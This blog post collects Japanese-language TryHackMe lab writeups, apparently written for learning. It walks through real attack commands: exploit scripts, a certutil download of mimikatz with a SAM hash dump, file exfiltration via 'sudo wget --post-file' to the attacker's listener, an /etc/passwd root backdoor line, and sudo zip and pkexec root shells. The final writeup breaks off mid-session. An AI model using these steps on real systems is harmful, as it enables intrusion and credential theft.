はまやんはまやんはまやん

hamayanhamayan's blog

Blueprint 解説 (Writeup) [TryHackMe]

f:id:hamayanhamayan:20210530113922p:plain

一部を■で隠しています。

nmapしよう

80/tcp    open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
443/tcp   open  ssl/http     Apache httpd 2.4.23 (OpenSSL/1.0.2h PHP/5.6.28)
445/tcp   open  microsoft-ds Windows 7 Home Basic 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
3306/tcp  open  mysql        MariaDB (unauthorized)
8080/tcp  open  http         Apache httpd 2.4.23 (OpenSSL/1.0.2h PHP/5.6.28)
49152/tcp open  msrpc        Microsoft Windows RPC
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
49158/tcp open  msrpc        Microsoft Windows RPC
49159/tcp open  msrpc        Microsoft Windows RPC
49160/tcp open  msrpc        Microsoft Windows RPC

いっぱいある。
httpが2つあるので探索してみると、:8080/oscommerce-2.3.4/にてE-commerceのサイトが立ち上がっていることが分かる。
脆弱性を探してみよう。

oscommerce

$ searchsploit oscommerce
---------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------- Exploit Title                                                                                                                                                  |  Path
----------------------------------------------------------------------------------------------------------------------------------------------------------------
osCommerce 2.3.4.1 - Remote Code Execution                                                                                                                      | php/webapps/44374.py
---------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------Shellcodes: No Results
Papers: No Results

searchsploitで検索して見てみるとRCEできるものが1つある。
これは使えそう。

$ searchsploit -p 44374
  Exploit: osCommerce 2.3.4.1 - Remote Code Execution        
      URL: https://www.exploit-db.com/exploits/44374
     Path: /usr/share/exploitdb/exploits/php/webapps/44374.py
File Type: ASCII text, with CRLF line terminators

$ cp /usr/share/exploitdb/exploits/php/webapps/44374.py 44374.py

使用する際はexploitコードのURLと実行したいPHPコードを変えて動かそう。
system("whoami");とするとWarning: system() has been disabled for security reasons in C:\xampp\htdocs\oscommerce-2.3.4\catalog\install\includes\configure.php on line 27といわれてしまう。
ok. phpinfo();を動かしてみよう。
disable_functions | system

リバースシェルを試していこう…
いこう…

解説を見る

どれを使っても刺さらないし、Metasploitはあんまり入れたくないしで、一旦解説見た。
書いてあったものを一通り試したがダメか…
Metasploit入れるか…

Metasploitでリバースシェルする

THM write-up: Blueprint | Planet DesKelの通りやったんだけど、meterpreter起動まで至らなかった。
とりあえずリバースシェルまで行けたので、このままやることにする。

mimikatz

mimikatzを使って認証情報を得ることにする。

C:\xampp\htdocs\oscommerce-2.3.4\catalog\install\includes>systeminfo
System Type:               X86-based PC

32bitで動いているみたい。32bitのmimikatz.exeを手元に用意して、python -m http.server 80でウェブサーバを起動して持って来よう。

C:\xampp\htdocs\oscommerce-2.3.4\catalog\install\includes>certutil -urlcache -f http://[yourip]/mimikatz.exe mimikatz.exe

C:\xampp\htdocs\oscommerce-2.3.4\catalog\install\includes>mimikatz.exe
mimikatz.exe

  .#####.   mimikatz 2.2.0 (x86) #19041 May 29 2021 13:23:14
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # lsadump::sam
RID  : 000003e8 (1000)
User : Lab
  Hash NTLM: ■■■■■■■■■■■■■■■■■■■■

Labのハッシュが手に入る。CrackStationで検索すると答えが見つかる。

root.txt

AdminのDesktopによく置いてあるので、とりあえずそこを探すとあって、なぜか読める。

C:\xampp\htdocs\oscommerce-2.3.4\catalog\install\includes>cd C:\Users\Administrator\Desktop
cd C:\Users\Administrator\Desktop

C:\Users\Administrator\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 14AF-C52C

 Directory of C:\Users\Administrator\Desktop

11/27/2019  07:15 PM    <DIR>          .
11/27/2019  07:15 PM    <DIR>          ..
11/27/2019  07:15 PM                37 root.txt.txt
               1 File(s)             37 bytes
               2 Dir(s)  19,504,631,808 bytes free

C:\Users\Administrator\Desktop>more root.txt.txt
more root.txt.txt
■■■■■■■■■■■■■■■■■■■■■■■■■■

Investigating Windows 解説 (Writeup) [TryHackMe]

f:id:hamayanhamayan:20210529160040p:plain

一部を■で隠しています。

  • Whats the version and year of the windows machine?
    • winverすると答えが書いてある
    • f:id:hamayanhamayan:20210529164111p:plain
  • Which user logged in last?
    • Windowsでログといえばイベントログなので、Event Viewerを開いて確認してみる
    • 色々探索してるとSecurityでTask CategoryにLogonがあったので、それを一通り見ていこう
    • ここで書いてあるユーザー名を一通り試すと答えが見つかる
    • 普通にAdm■■■■■■■■■でした
  • When did John log onto the system last?
    • 探すとJohnがログインしている記録が見つかる
    • f:id:hamayanhamayan:20210529175608p:plain
  • What IP does the system connect to when it first starts?
  • What two accounts had administrative privileges (other than the Administrator user)?
    • ローカルグループのadministratorに属していればadmin権限を行使できるので、それを見る net localgroup administrators
  • Whats the name of the scheduled task that is malicous.
    • タスクスケジューラを見よう。文字数と照らし合わせてそれっぽいのを投げると通る
  • What file was the task trying to run daily?
    • これも上で答えたタスクでのActionを見ればいい
  • What port did this file listen locally for?
    • 同上
  • When did Jenny last logon?
    • net user Jennyとして、Last logonに書かれているものを答える
  • At what date did the compromise take place?
    • タスクスケジューラにある怪しいタスクが作成された日付を各。falshupdate22の日付を書いたら通った
  • At what time did Windows first assign special privileges to a new logon?
    • イベントログで確認できそうだ。はっきりコレというのが見つからなかったが、hintを見ると末尾が分かるので特定していく
    • イベントログのSecurityのEvent ID 4672を見ていけばいい
  • What tool was used to get Windows passwords?
    • これも分からなかった…Writeupsを見るとC:\TMP\mimi-out.txtが見つかる
    • ここにmimikatzと書いてあり、これが答えになる
  • What was the attackers external control and command servers IP?
    • TMP以下を色々探索してみたが、それっぽいのが見つからない
    • よくあるドメイン名を付けることで隠蔽しているか確認してみよう
    • more C:\Windows\System32\drivers\etc\hostsを見るとgoogle.comで隠されていた
  • What was the extension name of the shell uploaded via the servers website?
    • WindowでwebserverといえばIISなのでC:\inetpub\wwwrootを見てみよう
    • ここにあるどれかを答えればいい
  • What was the last port the attacker opened?
  • Check for DNS poisoning, what site was targeted?
    • これはDNS設定を以前見ていたので、どのドメインが答えかは分かった

Anthem 解説 (Writeup) [TryHackMe]

f:id:hamayanhamayan:20210528114906p:plain

一部を■で隠しています。

Task 1: Website Analysis

ひとつずつ特定していこう。
まずはnmapをして、あとはひたすらwebsiteをクロールして情報を探していく。
Burp Suite Professionalを実費で買ったので自動クロールとかしてもらって、検索機能使って洗い出していった。

  • web serverのポートは?
    • nmapをやれば分かる
  • リモートデスクトップのポートは?
    • これもnmapをやれば分かる
  • web crawlerのチェックした1つのページにあるパスワードは?
  • 使っているCMSは?
  • ドメイン名は?
    • サイトのタイトルを見れば一目瞭然ですね。
  • adminの名前は?
    • /archive/a-cheers-to-our-it-department/を見るとadminが書いたとされる詩が紹介される。一文目でググると名前が出てくるのでそれを答える
  • adminのメールアドレスは?
    • Burp Suiteを使っている場合は拡張機能のLogger++のGrep Valuesを使ってみよう。適当にメールアドレスの正規表現を持ってきて入れてみると、JD@anthem.comというのが得られる
    • この記事を書いたのはJane Dueなので、その規則性と前問の答えからメールアドレスが分かるだろう。

Task 2: Spot the flags

やんわり探すとフラグはTHM{****}の形になっていそう。
THM\{[^\}]*\}正規表現を使って、Logger++のGrep Valuesを使うとちょうど4つ出てくる。

f:id:hamayanhamayan:20210528230424p:plain

文字数と照らし合わせながら答えを埋めていこう。

Task 3: Final stage

まずはリモートデスクトップでログイン

これまでTryHackMeに提出した答えからユーザー名とパスワードを導ける。
パスワードは1つしかないのでそれを使う。
ユーザー名はメールアドレスのユーザー名部分を使うといい。

リモートデスクトップ接続を普通に使ってログインすると、デスクトップにuser.txtがある。

管理者パスワードを探す

Hintを見るとIt is hidden.とあるので、ls -forceを使ってひたすら探すと、c:\backupといういかにもなフォルダが見つかる。
中にはrestore.txtというファイルがあり、サイズも小さいのでこれが答えっぽい。

PS C:\backup> cat restore.txt
cat : Access to the path 'C:\backup\restore.txt' is denied.
At line:1 char:1
+ cat restore.txt
+ ~~~~~~~~~~~~~~~
    + CategoryInfo          : PermissionDenied: (C:\backup\restore.txt:String) [Get-Content], UnauthorizedAccessException
    + FullyQualifiedErrorId : GetContentReaderUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetContentCommand

うーん。分からん!

Writeupをちょっとみる

なんと権限を上書きできるようだ。

PS C:\backup> icacls C:\backup\restore.txt /grant Everyone:F
processed file: C:\backup\restore.txt
Successfully processed 1 files; Failed processing 0 files
PS C:\backup> cat restore.txt
■■■■■■■■■■■■■■■■

icaclsを使えばどんな時でも上書きできるんだろうか…
分からんな…

管理者権限でフラグを探す

Win+Rでファイル名を指定して実行を開いて、powershellと打ってCtrl+Shift+Enterで管理者実行する。

f:id:hamayanhamayan:20210528232528p:plain

root.txtというファイル名は分かっているので探して開こう。

PS C:\Users\Administrator> Get-ChildItem -Path c:\ -Filte root.txt -Recurse

    Directory: C:\Users\Administrator\Desktop

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----       05/04/2020     11:54             17 root.txt
PS C:\Users\Administrator> cd Desktop
PS C:\Users\Administrator\Desktop> cat root.txt
■■■■■■■■■■■■

ok.

Wgel CTF 解説 (Writeup) [TryHackMe]

f:id:hamayanhamayan:20210527140022p:plain

一部を■で隠しています。

第一段階:ユーザー権限

とりあえずnmapとgobusterしよう

$ export IP=[your IP]
$ nmap -sC -sV $IP
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
$ gobuster dir -e -u http://$IP -w /usr/share/dirb/wordlists/common.txt
http://$IP/sitemap (Status: 301)

ほう。/sitemapというのがあるな。
訪れると無難なサイトが出てくる。
更にディレクトリリスティングしてみよう。

$ gobuster dir -e -u http://$IP/sitemap -w /usr/share/dirb/wordlists/common.txt
http://$IP/sitemap/.ssh (Status: 301)

おお、これは…
もってきて、パスワード解析してみよう。

$ python2 /usr/share/john/ssh2john.py id_rsa > hash.txt
id_rsa has no password!

なるほど?
ユーザー名がわからない。
hydraでは秘密鍵を使ったログインはできないので、それっぽいユーザー名が無いかサイトを散策してみる。

さがすと/<!-- Jessie don't forget to udate the webiste -->とある。
jessieか。

$ ls -la
total 112
drwxr-xr-x 17 jessie jessie 4096 oct 26  2019 .
drwxr-xr-x  3 root   root   4096 oct 26  2019 ..
lrwxrwxrwx  1 root   root      9 oct 26  2019 .bash_history -> /dev/null
-rw-r--r--  1 jessie jessie  220 oct 26  2019 .bash_logout
-rw-r--r--  1 jessie jessie 3771 oct 26  2019 .bashrc
drwx------ 13 jessie jessie 4096 oct 26  2019 .cache
drwx------ 15 jessie jessie 4096 oct 26  2019 .config
drwxr-xr-x  2 jessie jessie 4096 oct 26  2019 Desktop
-rw-r--r--  1 jessie jessie   25 oct 26  2019 .dmrc
drwxr-xr-x  2 jessie jessie 4096 oct 26  2019 Documents
drwxr-xr-x  2 jessie jessie 4096 oct 26  2019 Downloads
-rw-r--r--  1 jessie jessie 8980 oct 26  2019 examples.desktop
drwx------  2 jessie jessie 4096 oct 26  2019 .gconf
drwx------  3 jessie jessie 4096 oct 26  2019 .gnupg
-rw-------  1 jessie jessie  644 oct 26  2019 .ICEauthority
drwx------  3 jessie jessie 4096 oct 26  2019 .local
drwxr-xr-x  5 jessie jessie 4096 oct 26  2019 .mozilla
drwxr-xr-x  2 jessie jessie 4096 oct 26  2019 Music
drwxr-xr-x  2 jessie jessie 4096 oct 26  2019 Pictures
-rw-r--r--  1 jessie jessie  655 oct 26  2019 .profile
drwxr-xr-x  2 jessie jessie 4096 oct 26  2019 Public
drwx------  2 jessie jessie 4096 oct 26  2019 .ssh
-rw-r--r--  1 jessie jessie    0 oct 26  2019 .sudo_as_admin_successful
drwxr-xr-x  2 jessie jessie 4096 oct 26  2019 Templates
drwxr-xr-x  2 jessie jessie 4096 oct 26  2019 Videos
-rw-------  1 jessie jessie   52 oct 26  2019 .Xauthority
-rw-------  1 jessie jessie 1382 oct 26  2019 .xsession-errors
-rw-------  1 jessie jessie 1232 oct 26  2019 .xsession-errors.old
jessie@CorpOne:~$ cd Documents/
jessie@CorpOne:~/Documents$ ls
user_flag.txt
jessie@CorpOne:~/Documents$ cat user_flag.txt
■■■■■■■■■■■■■■■■■■■■■■■■■■

第二段階:権限昇格

$ sudo -l
Matching Defaults entries for jessie on CorpOne:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User jessie may run the following commands on CorpOne:
    (ALL : ALL) ALL
    (root) NOPASSWD: /usr/bin/wget

wgetがSUDOで動いているので使えそう。
だが、wget | GTFOBinsを見ても歯切れが悪い。
今までのように一発KOという感じではなさそうだ。

wget on sudo

色々調べると以下のようなことができるらしい。

  • ルート権限でファイルをダウンロードする
    1. 受け取り側でnc -lvp 80で待つ
    2. sudo wget --post-file=[filepath] [送信先]で持ってくる
  • ルート権限でファイルをアップロードできる
    1. 送り側でpython -m http.server 80する
    2. sudo wget -O [保存先パス] http://[your IP]/[送信ファイルパス]

ファイルの場所と名前は推測できるな。/root/root_flag.txtだろう。 実際にやってみると、フラグが得られる。
nc -lvp 80で待ってsudo wget --post-file=/root/toot_flag.txt [your IP]とすると出てくる。

Writeupsを見てみつけたもの

Wgel CTF — TryHackMe. I start by enumerating the target with… | by Stefano Pancioni | Medium
任意のファイルがアップロードできることを利用してユーザーを追加し、root権限を持ったユーザーでログインするというもの。

  1. /etc/passwdを持ってくる(ルート権限でファイルをダウンロードするやつをつかう)
  2. 末尾にflag:$1$flag$ewuvWx1i4md.ReHwJGGGo0:0:0:root:/root:/bin/bashを追加する(パスワード部分はopenssl passwd -1 -salt flagでパスワードをpasswordにして作ったもの)
  3. それを/etc/passwdに入れなおす(ルート権限でファイルをアップロードするやつをつかう)
  4. su flagとして、パスワードをpasswordにするとroot権限でログインできる

なるほどなぁ…

tomghost 解説 (Writeup) [TryHackMe]

f:id:hamayanhamayan:20210526174326p:plain

一部を■で隠しています。

第一段階:ユーザーシェル

いつものから始める。

$ export IP=[your IP]
$ nmap -sC -sV $IP
22/tcp   open  ssh        OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
53/tcp   open  tcpwrapped
8009/tcp open  ajp13      Apache Jserv (Protocol v1.3)
| ajp-methods: 
|_  Supported methods: GET HEAD POST OPTIONS
8080/tcp open  http       Apache Tomcat 9.0.30
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/9.0.30
$ gobuster dir -e -u http://$IP:8080 -w /usr/share/dirb/wordlists/common.txt
http://$IP:8080/docs (Status: 302)
http://$IP:8080/examples (Status: 302)
http://$IP:8080/favicon.ico (Status: 200)
http://$IP:8080/host-manager (Status: 302)
http://$IP:8080/manager (Status: 302)

tomcatのCVEを探してみると色々出てくるが、今回目立っているajpも関連して探していくとCVE-2020-1938が出てくる。

CVE-2020-1938

Tomcat-AJP脆弱性分析及び対応方法( CVE-2020-1938 ) | Cyberfortress
RCEできるっぽいがPoCが見つからない…LFIもできるみたいなので、そっちをとりあえずやりますか。
GitHub - YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi: Tomcat-Ajp协议文件读取漏洞

$ wget https://raw.githubusercontent.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi/master/CNVD-2020-10487-Tomcat-Ajp-lfi.py   
--2021-05-26 20:15:01--  https://raw.githubusercontent.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi/master/CNVD-2020-10487-Tomcat-Ajp-lfi.py
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.110.133, 185.199.111.133, 185.199.108.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.110.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10884 (11K) [text/plain]
Saving to: ‘CNVD-2020-10487-Tomcat-Ajp-lfi.py’

CNVD-2020-10487-Tomcat-Ajp-lfi.py                100%[========================================================================================================>]  10.63K  --.-KB/s    in 0.008s   

2021-05-26 20:15:01 (1.24 MB/s) - ‘CNVD-2020-10487-Tomcat-Ajp-lfi.py’ saved [10884/10884]

$ python CNVD-2020-10487-Tomcat-Ajp-lfi.py $IP -p 8009 -f WEB-INF/web.xml
Getting resource at ajp13://$IP:8009/asdf
----------------------------
<?xml version="1.0" encoding="UTF-8"?>
<!--
 Licensed to the Apache Software Foundation (ASF) under one or more
  contributor license agreements.  See the NOTICE file distributed with
  this work for additional information regarding copyright ownership.
  The ASF licenses this file to You under the Apache License, Version 2.0
  (the "License"); you may not use this file except in compliance with
  the License.  You may obtain a copy of the License at

      http://www.apache.org/licenses/LICENSE-2.0

  Unless required by applicable law or agreed to in writing, software
  distributed under the License is distributed on an "AS IS" BASIS,
  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  See the License for the specific language governing permissions and
  limitations under the License.
-->
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
                      http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
  version="4.0"
  metadata-complete="true">

  <display-name>Welcome to Tomcat</display-name>
  <description>
     Welcome to GhostCat
        skyfuck:■■■■■■■■■■■■■
  </description>

</web-app>

取れてるっぽいし、認証情報っぽい文字列が書いてある。

SSHでつないでみよう

skyfuck@ubuntu:~$ find / -name "user.txt" 2>/dev/null
/home/merlin/user.txt
skyfuck@ubuntu:~$ cat /home/merlin/user.txt
■■■■■■■■■■■■■■

普通に取れましたね。

第二段階:権限昇格

linpeas.shをやってみる

とくに怪しいものはないけど…

[+] Searching PGP/GPG
PGP/GPG files found:
-rw-rw-r-- 1 skyfuck skyfuck 394 Mar 10  2020 /home/skyfuck/credential.pgp

PGP/GPG software:
/usr/bin/gpg
netpgpkeys Not Found
netpgp Not Found

珍しいのはこれくらいか。

$ ls -la
total 44
drwxr-xr-x 4 skyfuck skyfuck 4096 May 26 04:25 .
drwxr-xr-x 4 root    root    4096 Mar 10  2020 ..
-rw------- 1 skyfuck skyfuck  136 Mar 10  2020 .bash_history
-rw-r--r-- 1 skyfuck skyfuck  220 Mar 10  2020 .bash_logout
-rw-r--r-- 1 skyfuck skyfuck 3771 Mar 10  2020 .bashrc
drwx------ 2 skyfuck skyfuck 4096 May 26 04:18 .cache
-rw-rw-r-- 1 skyfuck skyfuck  394 Mar 10  2020 credential.pgp
drwx------ 2 skyfuck skyfuck 4096 May 26 04:25 .gnupg
-rw-r--r-- 1 skyfuck skyfuck  655 Mar 10  2020 .profile
-rw-rw-r-- 1 skyfuck skyfuck 5144 Mar 10  2020 tryhackme.asc

credential.pgpの復号化をやりたいがパスワードが分からない。
tryhackme.ascを見るとPGP鍵になっている。
John The Ripperでクラックしてみよう。

$ scp skyfuck@$IP:tryhackme.asc tryhackme.asc
skyfuck@$IP's password:
tryhackme.asc                                                           
$ john hash.txt --wordlist=/usr/share/dirb/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])
Cost 1 (s2k-count) is 65536 for all loaded hashes
Cost 2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512 11:SHA224]) is 2 for all loaded hashes
Cost 3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192 9:AES256 10:Twofish 11:Camellia128 12:Camellia192 13:Camellia256]) is 9 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
■■■■■■■        (tryhackme)
1g 0:00:00:00 DONE (2021-05-26 20:34) 4.166g/s 4466p/s 4466c/s 4466C/s theresa..alexandru
Use the "--show" option to display all of the cracked passwords reliably
Session completed

あっという間に出てくる。

$ gpg --import tryhackme.asc
gpg: key C6707170: secret key imported
gpg: key C6707170: public key "tryhackme <stuxnet@tryhackme.com>" imported
gpg: key C6707170: "tryhackme <stuxnet@tryhackme.com>" not changed
gpg: Total number processed: 2
gpg:               imported: 1
gpg:              unchanged: 1
gpg:       secret keys read: 1
gpg:   secret keys imported: 1
skyfuck@ubuntu:~$ gpg --decrypt credential.pgp

You need a passphrase to unlock the secret key for
user: "tryhackme <stuxnet@tryhackme.com>"
1024-bit ELG-E key, ID 6184FBCC, created 2020-03-11 (main key ID C6707170)

gpg: gpg-agent is not available in this session
gpg: WARNING: cipher algorithm CAST5 not found in recipient preferences
gpg: encrypted with 1024-bit ELG-E key, ID 6184FBCC, created 2020-03-11
      "tryhackme <stuxnet@tryhackme.com>"
merlin:■■■■■■■■■■■■■■■■■■■■■■

ログインからSUDOからの権限昇格

zip | GTFOBinsで行けそう。

$ ssh merlin@$IP
merlin@ubuntu:~$ sudo -l
Matching Defaults entries for merlin on ubuntu:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User merlin may run the following commands on ubuntu:
    (root : root) NOPASSWD: /usr/bin/zip
merlin@ubuntu:~$ TF=$(mktemp -u)
merlin@ubuntu:~$ sudo zip $TF /etc/hosts -T -TT 'sh #'
  adding: etc/hosts (deflated 31%)
# id
uid=0(root) gid=0(root) groups=0(root)
# cd /root
# ls -la
total 32
drwx------  4 root root 4096 Mar 10  2020 .
drwxr-xr-x 22 root root 4096 Mar 10  2020 ..
-rw-------  1 root root   15 Mar 10  2020 .bash_history
-rw-r--r--  1 root root 3106 Oct 22  2015 .bashrc
drwxr-xr-x  2 root root 4096 Mar 10  2020 .nano
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-rw-r--r--  1 root root   17 Mar 10  2020 root.txt
drwxr-xr-x  2 root root 4096 Mar 10  2020 ufw
# cat root.txt
■■■■■■■■■■■■■■

ok.

Lian_Yu 解説 (Writeup) [TryHackMe]

f:id:hamayanhamayan:20210525172240p:plain

一部を■で隠しています。

第一段階:ユーザーシェルを奪う

とりあえずいつものやつをやる。

$ export IP=[your IP]
$ nmap -sC -sV $IP
21/tcp  open  ftp     vsftpd 3.0.2
22/tcp  open  ssh     OpenSSH 6.7p1 Debian 5+deb8u8 (protocol 2.0)
80/tcp  open  http    Apache httpd
111/tcp open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          37269/udp   status
|   100024  1          45910/tcp   status
|   100024  1          49953/udp6  status
|_  100024  1          52187/tcp6  status
$ gobuster dir -e -u http://$IP -w /usr/share/dirb/wordlists/common.txt

んー特にないか…でもこれをやれと問題に書いてあるからな…辞書を変えてみる。

色々ディレクトリスキャンを試す

$ gobuster dir -e -u http://$IP -w /usr/share/dirb/wordlists/big.txt
http://$IP/island (Status: 301)

きたきた。

for i in range(1000, 10000):
    print(i)

Hintを見ると数値4桁っぽいので、こんなやつで適当に辞書を作ってスキャンする。

$ gobuster dir -e -u http://$IP/island -w dic.txt
http://$IP/island/2100 (Status: 301)

ok.
動画はアクセスできないが、ソースを見ると、<!-- you can avail your .ticket here but how? -->とある。
postfixを付けてgobusterする。

$ gobuster dir -e -u http://$IP/island/2100 -w /usr/share/dirb/wordlists/big.txt -x .ticket

出てこないし…

ちょっと心が折れてWriteupへ

みんな別の辞書使ってるじゃん。
dirbusterを入れて辞書を貰ってくる。

$ gobuster dir -e -u http://$IP/island/2100 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x .ticket
http://$IP/island/2100/■■■■■■■■■■.ticket (Status: 200)

あーやっと出てきました。

This is just a token to get into Queen's Gambit(Ship)

■■■■■■■■■■

ftpパスワードかな?

ftp

まずはユーザー名を特定しよう。
今まで分かっている所からユーザー名っぽいものを探すと、/island/にあるCode Wordが使えそう。
使ってみるとパスワードが要求されるので、これでいい。
パスワードはさっきのアレだなと思って使うと…使えない。
tokenとして紹介されているので、なんかエンコードされているんだろうなと思って色々試すがダメ。

心が折れてWriteupへ

base58エンコードされているのでデコードするとパスワードになるらしい。
ちゃんとデコードできているような出力ではないのだが、使ってみると通る。
もっとわかりやすくデコードできてる感じにしてよ…と思ったが、答えを提出すれば確かめられるか…

まあ、それはともかく、中身を見てみる。

PS C:\Users\ctf> ftp $IP
ユーザー ($IP:(none)): vigilante
331 Please specify the password.
パスワード:
230 Login successful.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
Leave_me_alone.png
Queen's_Gambit.png
aa.jpg
226 Directory send OK.
ftp: 51 バイトが受信されました 0.00秒 12.75KB/秒。
ftp> get Leave_me_alone.png
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for Leave_me_alone.png (511720 bytes).
226 Transfer complete.
ftp: 511720 バイトが受信されました 8.05秒 63.57KB/秒。
ftp> get Queen's_Gambit.png
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for Queen's_Gambit.png (549924 bytes).
226 Transfer complete.
ftp: 549924 バイトが受信されました 38.30秒 14.36KB/秒。
ftp> get aa.jpg
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for aa.jpg (191026 bytes).
226 Transfer complete.
ftp: 191026 バイトが受信されました 10.66秒 17.92KB/秒。

ステガノグラフィ

とりあえず全部持ってきて中を見ると、Leave_me_alone.pngが開けない。
バイナリエディタで見てみるとpngのヘッダーではない。
書き換えて正しいヘッダーにしよう。
先頭をいじりながら開けるか試すと、以下のようになった。

f:id:hamayanhamayan:20210525204916p:plain

これでパスワードが得られるが、どこで使えばいい…?
もちろん、aa.jpgが怪しいが…
色々試すとsteghideで抜き出せる。

$ steghide extract -sf aa.jpg
Enter passphrase: 
wrote extracted data to "ss.zip".

この中に答えにつながるファイルが見つかった。
よし、やっとSSHや。

SSH

ftpで使ったユーザーでやってみるとログインできない。
そういえばftpで探索しているときにもう一人sladeというユーザーがいたことを思い出す。
これでログインができる。

slade@LianYu:~$ ls -la
total 32
drwx------ 2 slade slade 4096 May  1  2020 .
drwxr-xr-x 4 root  root  4096 May  1  2020 ..
-rw------- 1 slade slade   22 May  1  2020 .bash_history
-rw-r--r-- 1 slade slade  220 May  1  2020 .bash_logout 
-rw-r--r-- 1 slade slade 3515 May  1  2020 .bashrc      
-r-------- 1 slade slade   77 May  1  2020 .Important   
-rw-r--r-- 1 slade slade  675 May  1  2020 .profile     
-r-------- 1 slade slade   63 May  1  2020 user.txt     
slade@LianYu:~$ cat user.txt
■■■■■■■■■■■■■■■■■■■■■■■■
                        --Felicity Smoak 

第二段階:権限昇格

色々試すとsudoで行けそう。
pkexec | GTFOBinsをやってみよう。

slade@LianYu:~$ sudo -l
[sudo] password for slade: 
Matching Defaults entries for slade on LianYu:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User slade may run the following commands on LianYu:
    (root) PASSWD: /usr/bin/pkexec
slade@LianYu:~$ sudo pkexec /bin/sh
# id
uid=0(root) gid=0(root) groups=0(root)
# cd /root
# ls -la
total 28
drwx------  3 root root 4096 May  1  2020 .
drwxr-xr-x 23 root root 4096 May  1  2020 ..
-rw-------  1 root root   22 May  1  2020 .bash_history
-rw-r--r--  1 root root  570 Jan 31  2010 .bashrc
drwx------  2 root root 4096 May  1  2020 .gnupg
-rw-r--r--  1 root root  140 Nov 19  2007 .profile
-rw-r--r--  1 root root  340 May  1  2020 root.txt
# cat root.txt
                          Mission accomplished



You are injected me with Mirakuru:) ---> Now slade Will become DEATHSTROKE.



■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
                                                                              --DEATHSTROKE

Let me know your comments about this machine :)
I will be available @twitter @User6825

Startup 解説 (Writeup) [TryHackMe]

f:id:hamayanhamayan:20210524151504p:plain

一部を■で隠しています。

第一段階:ユーザーシェル獲得

いつものnmapとgobusterをする。

$ export IP=10.10.116.187
$ nmap -sC -sV $IP
21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxrwxrwx    2 65534    65534        4096 Nov 12  2020 ftp [NSE: writeable]
| -rw-r--r--    1 0        0          251631 Nov 12  2020 important.jpg
|_-rw-r--r--    1 0        0             208 Nov 12  2020 notice.txt
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
$ gobuster dir -e -u http://$IP -w /usr/share/dirb/wordlists/common.txt
http://$IP/files (Status: 301)
http://$IP/index.html (Status: 200)

読み取れるのはftpが動いていてanonymousができるというのと、他はsshとhttpが動いてて、httpは/filesというのがあるということ。
色々試してみよう。

サイトアクセスしてみる

トップページは特に何も無さそうなので/files/へアクセスしてみるとディレクトリリスティングされてくる。
勝手に誰かに置かれたようなファイルもある。ftpという文字もあるので、ftpのanonymousアクセスを試してみよう。

ftp

> ftp $IP
ユーザー ($IP:(none)): anonymous
331 Please specify the password.
パスワード:
230 Login successful.
ftp> ls
